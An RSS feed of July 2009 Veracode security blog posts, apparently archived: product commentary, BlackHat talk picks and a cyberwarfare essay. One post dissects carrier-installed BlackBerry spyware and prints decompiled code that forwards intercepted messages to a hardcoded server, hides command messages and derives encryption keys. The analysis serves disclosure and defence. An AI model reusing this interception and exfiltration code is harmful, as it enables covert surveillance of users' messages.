<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Veracode Security Blog: Application security research, security trends and opinions &#187; 2009 &#187; July</title>
	<atom:link href="http://www.veracode.com/blog/2009/07/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.veracode.com/blog</link>
	<description>Application security testing, analysis, and metrics</description>
	<lastBuildDate>Wed, 16 May 2012 18:18:53 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.3.1</generator>
		<item>
		<title>Bytecode Analysis Is Not The Same As Binary Analysis</title>
		<link>http://www.veracode.com/blog/2009/07/bytecode-analysis-is-not-the-same-as-binary-analysis/</link>
		<comments>http://www.veracode.com/blog/2009/07/bytecode-analysis-is-not-the-same-as-binary-analysis/#comments</comments>
		<pubDate>Mon, 27 Jul 2009 14:01:07 +0000</pubDate>
		<dc:creator>Chris Wysopal</dc:creator>
				<category><![CDATA[Application Security]]></category>
		<category><![CDATA[RESEARCH]]></category>

		<guid isPermaLink="false">http://www.veracode.com/blog/?p=892</guid>
		<description><![CDATA[Gartner analyst Neil MacDonald has written that Byte Code Analysis is not the Same as Binary Analysis. He describes the difference between statically analyzing binary code, which runs on an x86, ARM, or SPARC CPU, and statically analyzing bytecode, which runs on a virtual machine such as the Java VM or the .NET CLR. As [...]]]></description>
			<content:encoded><![CDATA[<p>Gartner analyst <a href="http://www.gartner.com/AnalystBiography?authorId=7299">Neil MacDonald</a> has written that <a href="http://blogs.gartner.com/neil_macdonald/2009/07/24/byte-code-analysis-is-not-the-same-as-binary-analysis/">Byte Code Analysis is not the Same as Binary Analysis</a>.  He describes the difference between statically analyzing binary code, which runs on an x86, ARM, or SPARC CPU, and statically analyzing <a href="http://en.wikipedia.org/wiki/Bytecode">bytecode</a>, which runs on a virtual machine such as the Java VM or the .NET CLR.  As more companies with software security testing technology wade into the &#8220;no source available&#8221; pool (come on in guys, the water is nice), it is important to understand what capabilities you need for software assurance when you don&#8217;t have access to source.</p>
<p>If the software you are concerned about is written in a language such as C or C++,  and then compiled to form an executable binary, as the majority of commercial software is, you will need true binary analysis.  The analysis technology provided by Ounce Labs and Fortify Software isn&#8217;t capable of understanding this native compiled code.  The other situation where you will need binary analysis is when you have access to some of the source but other parts of your software are in binary form.  This is common because most C/C++ programs, written by enterprises and software vendors alike, are partially built with compiled libraries that are distributed in binary form.  If you are only looking at the source-available subset of the software you are not covering 100% of the code.  You will also need binary analysis, and not just bytecode analysis, if your Java code uses JNI or your .NET assemblies call into non-managed code.</p>
<p>Even within the set of bytecode analysis techniques available today there are significant differences in technology. At Veracode, we generate our software analysis model directly from the bytecode with no lossy intermediate step back to source code.  Source code static analysis tool companies have taken an indirect route to analysis.  The tools first use a bytecode decompiler to create source code from the bytecode. Then the tools build an analysis model from the source code.  This means that any code generation decisions made by the compiler, which are in the executing software, will be missing from this model.  I would say this isn&#8217;t really even bytecode analysis at all.  It is decompiled bytecode source analysis.</p>
<p>Bytecode analysis and binary analysis are important technologies for assuring the integrity of the software supply chain.  These techniques are a powerful addition to first generation static analysis where source was required.  Make sure you are getting the capabilities of true binary analysis and direct bytecode analysis to protect your organization from application security risk.</p>
<h5>Veracode Security Solutions</h5>
<div style="margin-left:15px;">
<a href="http://www.veracode.com/security/internet-security">Internet Security</a><br />
<a href="http://www.veracode.com/security/malicious-code">Malicious Code</a><br />
<a href="http://www.veracode.com/security/vulnerability-assessment-software">Vulnerability Assessment</a><br />
<a href="http://www.veracode.com/security/web-security">Web Security</a><br />
<a href="http://www.veracode.com/security/application-testing-tool">Application Testing</a><br />
<a href="http://www.veracode.com/security/dynamic-analysis">Dynamic Analysis</a></div>
<p></p>
<h5>Security Alternatives</h5>
<div style="margin-left:15px;">
<a href="http://www.veracode.com/security/hp-fortify-alternative">HP Fortify</a><br />
<a href="http://www.veracode.com/security/whitehat-security-alternative">Whitehat Security</a><br />
<a href="http://www.veracode.com/security/rational-appscan-alternative">IBM Rational AppScan</a>
</div>
<p></p>
<h5>Security Threat Guides</h5>
<div style="margin-left:15px;">
<a href="http://www.veracode.com/security/sql-injection">SQL Injection Tutorial</a><br />
<a href="http://www.veracode.com/security/ldap-injection">LDAP Security</a><br />
<a href="http://www.veracode.com/security/mobile-code-security">Mobile Security</a><br />
<a href="http://www.veracode.com/security/xss">Prevent Cross Site Scripting</a><br />
<a href="http://www.veracode.com/security/csrf">CSRF</a></div>
]]></content:encoded>
			<wfw:commentRss>http://www.veracode.com/blog/2009/07/bytecode-analysis-is-not-the-same-as-binary-analysis/feed/</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>BlackHat Picks 2009</title>
		<link>http://www.veracode.com/blog/2009/07/blackhat-picks-2009/</link>
		<comments>http://www.veracode.com/blog/2009/07/blackhat-picks-2009/#comments</comments>
		<pubDate>Thu, 23 Jul 2009 14:44:50 +0000</pubDate>
		<dc:creator>Chris Eng</dc:creator>
				<category><![CDATA[Application Security]]></category>
		<category><![CDATA[RESEARCH]]></category>

		<guid isPermaLink="false">http://www.veracode.com/blog/?p=889</guid>
		<description><![CDATA[It&#8217;s time for the yearly BlackHat picks. Without further ado, here&#8217;s where you&#8217;ll have a good chance of finding me next week. Of course, you know what they say about the best laid schemes &#8212; there is no way I will actually make it to all of these, but as of now, this is what&#8217;s [...]]]></description>
			<content:encoded><![CDATA[<p>It&#8217;s time for the yearly BlackHat picks. Without further ado, here&#8217;s where you&#8217;ll have a good chance of finding me next week.  Of course, you know what they say about the best laid schemes &#8212; there is no way I will actually make it to all of these, but as of now, this is what&#8217;s caught my interest:</p>
<p><strong>Day 1</strong></p>
<ul>
<li>John McDonald &#038; Chris Valasek: Practical Windows XP/2003 Heap Exploitation</li>
<li>Andrea Barisani &#038; Daniele Bianco: Sniff keystrokes with Lasers /Voltmeters</li>
<li>Mark Dowd, Ryan Smith &#038; David Dewey: The Language of Trust</li>
<li>Thomas Ptacek, David Goldsmith &#038; Jeremy Rauch: Hacking Capitalism &#8217;09 </li>
<li>Pwnie Awards</li>
</ul>
<p><strong>Day 2</strong></p>
<ul>
<li>Zane Lackey &#038; Luis Miras: Attacking SMS</li>
<li>Jeremiah Grossman &#038; Trey Ford: Mo&#8217; Money Mo&#8217; Problems</li>
<li>Joe Grand, Jacob Appelbaum &#038; Chris Tarnovsky: &#8220;Smart&#8221; Parking Meter Implementations, Globalism, and You </li>
<li>Jesse Burns: Exploratory Android Surgery </li>
<li>Vincenzo Iozzo &#038; Charlie Miller: Post Exploitation Bliss &#8211; Loading Meterpreter on a Factory iPhone </li>
</ul>
<p>Chris Wysopal, Tyler Shields, and I will all be around next week so if you&#8217;re interested in learning more about Veracode or just catching up in the hallway track, shoot over an email or a tweet. </p>
<p>In the comments: Which talks are you excited about?</p>
<p></br></p>
<h3>Veracode Security Guides</h3>
<div style="margin-left:15px;">
<a href="http://www.veracode.com/security/sql-injection">SQL Injection</a><br />
<a href="http://www.veracode.com/security/csrf">CSRF</a><br />
<a href="http://www.veracode.com/security/xss">Cross-Site Scripting</a>
	</div>
<h3>Data Security Resources</h3>
<div style="margin-left:15px;">
<a href="http://www.veracode.com/security/data-loss-prevention">Data Leak</a><br />
<a href="http://www.veracode.com/security/data-breach">Security Breach</a><br />
<a href="http://www.veracode.com/security/data-security">Data Security</a>
</div>
]]></content:encoded>
			<wfw:commentRss>http://www.veracode.com/blog/2009/07/blackhat-picks-2009/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>The Challenges Of Developing Secure Mobile Applications</title>
		<link>http://www.veracode.com/blog/2009/07/the-challenges-of-developing-secure-mobile-applications/</link>
		<comments>http://www.veracode.com/blog/2009/07/the-challenges-of-developing-secure-mobile-applications/#comments</comments>
		<pubDate>Wed, 22 Jul 2009 18:20:46 +0000</pubDate>
		<dc:creator>Chris Wysopal</dc:creator>
				<category><![CDATA[Application Security]]></category>
		<category><![CDATA[Mobile]]></category>
		<category><![CDATA[RESEARCH]]></category>
		<category><![CDATA[Software Development]]></category>

		<guid isPermaLink="false">http://www.veracode.com/blog/?p=880</guid>
		<description><![CDATA[Christien Rioux, Veracode co-founder and chief scientist, recently gave a webinar on mobile app security. He covers the strengths and weaknesses of 3 popular mobile application platforms: Windows Mobile, RIM Blackberry, and Google Android. Veracode recently announced our capability to scan Windows Mobile applications for vulnerabilities and malicious code. Blackberry and Android support will be [...]]]></description>
			<content:encoded><![CDATA[<p>Christien Rioux, Veracode co-founder and chief scientist, recently gave a webinar on mobile app security.  He covers the strengths and weaknesses of 3 popular mobile application platforms: Windows Mobile, RIM Blackberry, and Google Android. Veracode recently announced our capability to scan Windows Mobile applications for vulnerabilities and malicious code.  Blackberry and Android support will be coming in the next few months.</p>
<p><a href="http://www.veracode.com/resources/mobile-development-webcast.html">Watch the webinar:</a></p>
<p><center><a href="http://www.veracode.com/resources/mobile-development-webcast.html"><img src="http://www.veracode.com/blog/wp-content/uploads/2009/07/mobile-device-platforms.png" alt="mobile-device-platforms" title="mobile-device-platforms" width="631" height="474" class="aligncenter size-full wp-image-883 photoborder" /></a></center></p>
<h5>Veracode Security Solutions</h5>
<div style="margin-left:15px;">
<a href="http://www.veracode.com/security/internet-security">Internet Security</a><br />
<a href="http://www.veracode.com/security/malicious-code">Malicious Code</a><br />
<a href="http://www.veracode.com/security/vulnerability-assessment-software">Vulnerability Assessment</a><br />
<a href="http://www.veracode.com/security/web-security">Web Security</a><br />
<a href="http://www.veracode.com/security/application-testing-tool">Application Testing</a><br />
<a href="http://www.veracode.com/security/dynamic-analysis">Dynamic Analysis</a></div>
<p></p>
<h5>Security Alternatives</h5>
<div style="margin-left:15px;">
<a href="http://www.veracode.com/security/hp-fortify-alternative">HP Fortify</a><br />
<a href="http://www.veracode.com/security/whitehat-security-alternative">Whitehat Security</a><br />
<a href="http://www.veracode.com/security/rational-appscan-alternative">IBM Rational AppScan</a>
</div>
<p></p>
<h5>Security Threat Guides</h5>
<div style="margin-left:15px;">
<a href="http://www.veracode.com/security/sql-injection">SQL Injection Tutorial</a><br />
<a href="http://www.veracode.com/security/ldap-injection">LDAP Security</a><br />
<a href="http://www.veracode.com/security/mobile-code-security">Mobile Security</a><br />
<a href="http://www.veracode.com/security/xss">Prevent Cross Site Scripting</a><br />
<a href="http://www.veracode.com/security/csrf">CSRF</a></div>
]]></content:encoded>
			<wfw:commentRss>http://www.veracode.com/blog/2009/07/the-challenges-of-developing-secure-mobile-applications/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>BlackBerry Spyware Dissected</title>
		<link>http://www.veracode.com/blog/2009/07/blackberry-spyware-dissected/</link>
		<comments>http://www.veracode.com/blog/2009/07/blackberry-spyware-dissected/#comments</comments>
		<pubDate>Wed, 15 Jul 2009 18:14:37 +0000</pubDate>
		<dc:creator>Chris Eng</dc:creator>
				<category><![CDATA[Application Security]]></category>
		<category><![CDATA[Malware]]></category>
		<category><![CDATA[Mobile]]></category>
		<category><![CDATA[RESEARCH]]></category>

		<guid isPermaLink="false">http://www.veracode.com/blog/?p=856</guid>
		<description><![CDATA[Yesterday it was reported by various media outlets that a recent BlackBerry software update from Etisalat (a UAE-based carrier) contained spyware that would intercept emails and text messages and send copies to a central Etisalat server. We decided to take a look to find out more. We&#8217;re not sure why the software was delivered in [...]]]></description>
			<content:encoded><![CDATA[<p>Yesterday it was reported</a> by <a href="http://www.itp.net/news/561962-etisalats-blackberry-patch-designed-for-surveillance">various</a> <a href="http://www.theregister.co.uk/2009/07/14/blackberry_snooping/">media outlets</a> that a recent BlackBerry software update from Etisalat (a UAE-based carrier) contained spyware that would intercept emails and text messages and send copies to a central Etisalat server. We decided to take a look to find out more.</p>
<p>We&#8217;re not sure why the software was delivered in both .jar and .cod form.  The .cod file is a RIM proprietary format that contains the compiled Java classes along with a signature.  Therefore it&#8217;s not even necessary to send the .jar, but they did, completely unobfuscated. Arrogance or incompetence? Here&#8217;s what&#8217;s inside:</p>
<pre>
$ jar tvf Registration.jar
     0 Sat Jul 04 18:52:00 EDT 2009 META-INF/
   447 Sat Jul 04 18:52:00 EDT 2009 META-INF/MANIFEST.MF
 18732 Sat Jul 04 18:52:00 EDT 2009 Registration.cod
    91 Sat Jul 04 18:52:00 EDT 2009 Registration.csl
   183 Sat Jul 04 18:52:00 EDT 2009 Registration.cso
     0 Sat Jul 04 18:52:00 EDT 2009 com/
     0 Sat Jul 04 18:52:00 EDT 2009 com/ss8/
     0 Sat Jul 04 18:52:00 EDT 2009 com/ss8/interceptor/
     0 Sat Jul 04 18:52:00 EDT 2009 com/ss8/interceptor/app/
 10857 Sat Jul 04 18:52:00 EDT 2009 com/ss8/interceptor/app/Commands.class
  2388 Sat Jul 04 18:52:00 EDT 2009 com/ss8/interceptor/app/Constants.class
  1056 Sat Jul 04 18:52:00 EDT 2009 com/ss8/interceptor/app/Log.class
   935 Sat Jul 04 18:52:00 EDT 2009 com/ss8/interceptor/app/Main$1.class
  3479 Sat Jul 04 18:52:00 EDT 2009 com/ss8/interceptor/app/Main.class
  4137 Sat Jul 04 18:52:00 EDT 2009 com/ss8/interceptor/app/MsgOut.class
  5975 Sat Jul 04 18:52:00 EDT 2009 com/ss8/interceptor/app/Recv.class
 16133 Sat Jul 04 18:52:00 EDT 2009 com/ss8/interceptor/app/Send.class
  2988 Sat Jul 04 18:52:00 EDT 2009 com/ss8/interceptor/app/StatusChange.class
  6462 Sat Jul 04 18:52:00 EDT 2009 com/ss8/interceptor/app/Transmit.class
     0 Sat Jul 04 18:52:00 EDT 2009 com/ss8/interceptor/tcp/
  3465 Sat Jul 04 18:52:00 EDT 2009 com/ss8/interceptor/tcp/HTTPDeliver.class
     0 Sat Jul 04 18:52:00 EDT 2009 com/ss8/interceptor/tcp/smtp/
  7370 Sat Jul 04 18:52:00 EDT 2009 com/ss8/interceptor/tcp/smtp/SMTP.class
  3285 Sat Jul 04 18:52:00 EDT 2009 com/ss8/interceptor/tcp/smtp/SMTPHeader.class
  3871 Sat Jul 04 18:52:00 EDT 2009 com/ss8/interceptor/tcp/SocketBase.class
  1273 Sat Jul 04 18:52:00 EDT 2009 Interceptor.class
</pre>
<p>These classes implement the various hooks:</p>
<ul>
<li>The Recv class implements net.rim.blackberry.api.mail.event.FolderListener and net.rim.blackberry.api.mail.event.StoreListener, allowing it to hook folder and message store updates. It&#8217;s installed using addFolderListener().</li>
<li>The Send class implements net.rim.blackberry.api.mail.event.FolderListener and net.rim.blackberry.api.mail.SendListener, allowing it to hook folder updates and outbound messages.  It&#8217;s not installed as a listener via addSendListener(), though it&#8217;s used explicitly to forward messages later on.</li>
<li>The StatusChange class implements net.rim.device.api.system.RadioStatusListener and net.rim.device.api.system.GlobalEventListener, allowing it to hook radio events such as a change of network. It&#8217;s installed using addRadioListener() and addGlobalEventListener(), and all it really does is remove and re-register the Recv listener when certain network events occur.</li>
</ul>
<p>Whenever a message is received on the device, the Recv class first inspects it to determine if it contains an embedded command &#8212; more on this later.  If not, it UTF-8 encodes the message, GZIPs it, AES encrypts it using a static key (&#8220;EtisalatIsAProviderForBlackBerry&#8221;), and Base64 encodes the result.  It then adds this bundle to a transmit queue.  The main app polls this queue every five seconds using a Timer, and when there are items in the queue to transmit, it calls this function to forward the message to a hardcoded server via HTTP (see below).  The call to http.sendData() simply constructs the POST request and sends it over the wire with the proper headers.</p>
<pre>
private boolean queueHTTP(boolean is_registration)
{
  boolean result = false;
  StringBuffer url = new StringBuffer();
  StringBuffer buf = new StringBuffer();
  url.setLength(0);
  url.append("http://10.116.3.99:7095/bbupgr");
  if(is_registration)
    url.append("/register");
  else
    url.append("/store");
  buf.setLength(0);
  buf.append("<ForwardTo>");
  if(is_registration)
    buf.append("regbb@etisalat.ae");
  else
    buf.append("etisalat_upgr@etisalat.ae");
  buf.append("</ForwardTo>");
  buf.append("\r\n");
  buf.append("<Subject>");
  buf.append(subj);
  buf.append("</Subject>");
  buf.append("\r\n");
  buf.append("<Content>");
  buf.append(body);
  buf.append("</Content>");
  String final_buf = encodeMsg(buf.toString(), true);
  for(int i = 0; i < max_tries; i++)
  {
    HTTPDeliver http = new HTTPDeliver(log);
    result = http.sendData(url.toString(), final_buf, true);
    if(!is_registration);
    if(result)
      return result;
    try
    {
      Thread.sleep(30000L);
    }
    catch(InterruptedException iex) { }
  }

  return result;
}
</pre>
<p>Let's get back to that part about embedded commands.  The first thing that the Recv class does is check to see if there's an embedded command in the received message.  The first check is actually inactive due to a conditional that will always evaluate to false.  If I had to guess I would say that conditional was originally used to check the origin of the message against two BlackBerry device PINs -- that's a guess based on the fact that the strings look similar to the device PIN format.  If this code path were enabled, any message with a subject containing "cmd_mail" would be passed off to a command handling routine.  If the subject also contained "XXX", it meant the body was encrypted.</p>
<pre>
if("206789ea".length() < 1 &#038;&#038; "205b04e4".length() < 1)
{
  if(subject != null &#038;&#038; subject.indexOf("cmd_mail") != -1)
  {
    String body = msg.getBodyText();
    if(body != null)
      if(subject.indexOf("XXX") != -1)
        cmds.encryptedCmd(log, sender, body);
      else
        cmds.interpCmdBuffer(log, sender, body);
    try
    {
      msg.getFolder().deleteMessage(msg, true);
    }
    catch(Exception e) { }
    return;
  }
}
</pre>
<p>Since that section will never run, we move on to the else clause.  Here, we see that if the sender name and address match "Customer Service" <i>and</i> the message was PIN-based (as opposed to email based) the body of the message will be treated as an encrypted command packet and the message will be instantly discarded.  It's unclear if it will momentarily appear in the user's Inbox, but even if it does, it won't be there for long.</p>
<pre>
else
{
  String fpin = null;
  String fnam = null;
  try
  {
    Address from = msg.getFrom();
    if(from != null)
    {
      fpin = from.getAddr();
      fnam = from.getName();
    }
  }
  catch(Exception e) { }
  if(fpin != null &#038;&#038; fnam != null &#038;&#038; fpin.equalsIgnoreCase("Customer Service") &#038;&#038; fnam.equalsIgnoreCase("Customer Service") &#038;&#038; cmds.msgIsPIN(msg))
  {
    String body = msg.getBodyText();
    try
    {
      msg.getFolder().deleteMessage(msg, true);
    }
    catch(Exception e) { }
    if(body != null)
      cmds.encryptedCmd(log, sender, body);
    return;
  }
}
</pre>
<p>The encryptedCmd() function parses the body of the command packet by extracting anything that looks like a PGP signature block, that is, the chunk of text delimited by the strings "-----BEGIN PGP SIGNATURE-----" and "-----END PGP SIGNATURE-----".  It then Base64 decodes the body and AES decrypts it using an AES key based on the device PIN.  It then parses the command packet, which is an XML-like structure.  It doesn't seem to execute arbitrary commands, just packages up device information such as IMEI, IMSI, phone number, etc. and sends it back to the central server, the same way it does for received messages.  It also provides a way to remotely enable/disable the spyware itself using the commands "start" and "stop".   Just for fun, here's the key generation routine used to encrypt these command packets to a specific device.  The keyString variable is the hex-encoded form of whatever is returned by the RIM API call DeviceInfo.getDeviceId():</p>
<pre>
public static byte[] generateKey(String keyString, int keylen)
{
  byte buf[] = new byte[keylen];
  Arrays.fill(buf, (byte)0);
  byte key[] = keyString.getBytes();
  int srcbytes = key.length;
  int n = srcbytes;
  if(n < keylen)
    n = keylen;
  int keyoffset = 0;
  int i = 0;
  int j = 0;
  for(; i < n; i++)
  {
    int pos = i % srcbytes;
    buf[j++] ^= key[pos] + keyoffset;
    if(pos == srcbytes - 1)
      keyoffset += 23;
    if(j % keylen == 0)
      j = 0;
  }

  return buf;
}
</pre>
<p>The most alarming part about this whole situation is that people only noticed the malware because it was draining their batteries.  The server receiving the initial registration packets (i.e. "Here I am, software is installed!") got overloaded.  Devices kept trying to connect every five seconds to empty the outbound message queue, thereby causing a battery drain.  Some people were reporting on <a href="http://supportforums.blackberry.com/rim/board/message?board.id=Bold&#038;message.id=22441&#038;query.id=34928#M22441">official BlackBerry forums</a> that their batteries were being depleted from full charge in as little as half an hour.</p>
<p>The final thing to mention is that the spyware does appear to be installed in a non-running state by default, where it's not actually exfiltrating data once the initial registration packet has gone out.  However, using the command and control mechanism we described earlier, the carrier can remotely start/stop the service at will on a per-device basis.</p>
<h5>Veracode Security Solutions</h5>
<div style="margin-left:15px;">
<a href="http://www.veracode.com/security/static-analysis-tool">Static Analysis Tool</a><br />
<a href="http://www.veracode.com/security/penetration-testing">Penetration Testing Tool</a><br />
<a href="http://www.veracode.com/security/static-code-analysis">Static Code Analysis</a><br />
<a href="http://www.veracode.com/security/vulnerability-scanning">Vulnerability Scanning</a><br />
<a href="http://www.veracode.com/security/web-application-security-testing">Web Application Testing</a><br />
<a href="http://www.veracode.com/security/software-testing-tools">Software Testing Tools</a><br />
<a href="http://www.veracode.com/security/source-code-security-analyzer">Source Code Security Analyzer</a><br />
<a href="http://www.veracode.com/security/code-security">Software Code Security</a><br />
<a href="http://www.veracode.com/security/application-testing-tool">Application Testing Tool</a><br />
<a href="http://www.veracode.com/security/code-analysis">Source Code Analysis</a><br />
<a href="http://www.veracode.com/security/code-review">Code Review Tools</a></div>
<h5>Veracode Security Threat Guides</h5>
<div style="margin-left:15px;">
<a href="http://www.veracode.com/security/sql-injection">Prevention of SQL Injection</a><br />
<a href="http://www.veracode.com/security/xss">Cross Site Scripting Vulnerabilities</a><br />
<a href="http://www.veracode.com/security/csrf">CSRF Attacks</a><br />
<a href="http://www.veracode.com/security/ldap-injection">LDAP Injection</a><br />
<a href="http://www.veracode.com/security/mobile-code-security">Mobile Code Security</a></div>
]]></content:encoded>
			<wfw:commentRss>http://www.veracode.com/blog/2009/07/blackberry-spyware-dissected/feed/</wfw:commentRss>
		<slash:comments>30</slash:comments>
		</item>
		<item>
		<title>Nation State Cyberwarfare Reality Check</title>
		<link>http://www.veracode.com/blog/2009/07/nation-state-cyberwarfare-reality-check/</link>
		<comments>http://www.veracode.com/blog/2009/07/nation-state-cyberwarfare-reality-check/#comments</comments>
		<pubDate>Thu, 09 Jul 2009 03:59:44 +0000</pubDate>
		<dc:creator>Chris Wysopal</dc:creator>
				<category><![CDATA[Application Security]]></category>
		<category><![CDATA[RESEARCH]]></category>

		<guid isPermaLink="false">http://www.veracode.com/blog/?p=850</guid>
		<description><![CDATA[Let&#8217;s take a step back for a moment from who the actors are in the recent DDoS attacks and look at the root cause of the problem, because that isn&#8217;t going away. We have a horribly insecure software ecosystem that let&#8217;s the bad guys take advantage of all the insecure software that vendors have shipped [...]]]></description>
			<content:encoded><![CDATA[<p>Let&#8217;s take a step back for a moment from who the actors are in the recent DDoS attacks and look at the root cause of the problem, because that isn&#8217;t going away.  We have a horribly insecure software ecosystem that let&#8217;s the bad guys take advantage of all the insecure software that vendors have shipped in the last 5 years to build distributed denial of service (DDoS) armies. The attackers then target these DDos armies at whoever they choose and are able to shut down their networks</p>
<p>It is time to stop thinking about computer security as a castle wall and moat problem and to start looking at it as an ecosystem problem.  We can&#8217;t secure our networks or those of our allies by building bigger walls any more than the President of the United States can keep our air clean for government workers by enacting tougher emmision standards for US government vehicles. It is a global problem that requires a global solution.</p>
<p>There has been no global cooperation to date to help the average computer user keep his or her computer secure. Yet we talk about keeping car emmisions down.  But the effect of both is similar.  In a shared environment, be it the water and air or an information infrastructure.  Each individual user contributes to the health of the system.</p>
<p>Each insecure computer is much like a polluting car.  By itself there is little risk of harm.  But when the software on that computer is compromised and taken together with all the other computers with that software, the risk builds up until it reaches a critical mass.  We see that critical mass when groups, nation state sponsored or simply criminal, are able to destroy network connectivity for their targets using these compromised computers</p>
<p>Make no mistake.  The root cause of these denial of service attacks is insecure software.  It might be an operating sytem vulnerability or a vulnerability in a media player, web browser, or the latest cool social networking widget.  These vulnerabilities let the attackers chip away one by one at the internet ecosystem like cancer cells.  At some point the malignacy is great enough that it can destroy a high value target.</p>
<p>The only solution is to protect those individual cells from becoming malignant.  Each and every computer system, and each and every software package running on them must be made secure.  There is no easy fix.  This is a hard problem.  I have been studying it for 15 years since I was a researcher at a group called the L0pht which testified before the US Senate in 1998 that we knew how to take down the internet in 30 minutes.  I wish this was an easy problem to solve, but it is not. It will only get worse as more computers are connected to the internet and we rely on the internet to be a safe place to exchange information and conduct business.</p>
<p>The solution is to make sure every piece of software we run is secure.  It is much like the environmental problem were every car or every factory must meet an emissions standard.  It can&#8217;t just be the cars driven by wealthy people or the factories making one type of product.  It must be all.  Until we start to think of the computer security problem as a global ecosystem problem with the root cause individual computers running everyday software, we are destined to fail.</p>
<p>The solution is to test all software before we run it.  It can&#8217;t be a crapshoot whether something is going to cause harm if it is running on a million computers.  We need to know.</p>
<h5>Veracode Security Solutions</h5>
<div style="margin-left:15px;">
<a href="http://www.veracode.com/security/static-analysis-tool">Static Analysis</a><br />
<a href="http://www.veracode.com/security/web-application-security-testing">Web Application Security</a><br />
<a href="http://www.veracode.com/security/web-security">Website Security</a><br />
<a href="http://www.veracode.com/security/vulnerability-assessment-software">Vulnerability Assessment</a><br />
<a href="http://www.veracode.com/security/application-testing-tool">Application Analysis</a><br />
<a href="http://www.veracode.com/security/static-code-analysis">Static Code Analysis</a><br />
<a href="http://www.veracode.com/security/code-analysis">Source Code Analysis</a><br />
<a href="http://www.veracode.com/security/software-testing-tools">Software Testing Tools</a><br />
<a href="http://www.veracode.com/">Application Security</a></div>
<p></p>
<h5 style="margin-bottom: 10px">Security Threat Guides</h5>
<div style="margin-left:15px;">
<a href="http://www.veracode.com/security/csrf">CSRF</a><br />
<a href="http://www.veracode.com/security/ldap-injection">LDAP Security</a><br />
<a href="http://www.veracode.com/security/mobile-code-security">Mobile Security</a><br />
<a href="http://www.veracode.com/security/sql-injection">SQL Injection</a><br />
<a href="http://www.veracode.com/security/xss">Cross Site Scripting Vulnerabilities</a></div>
]]></content:encoded>
			<wfw:commentRss>http://www.veracode.com/blog/2009/07/nation-state-cyberwarfare-reality-check/feed/</wfw:commentRss>
		<slash:comments>5</slash:comments>
		</item>
	</channel>
</rss>

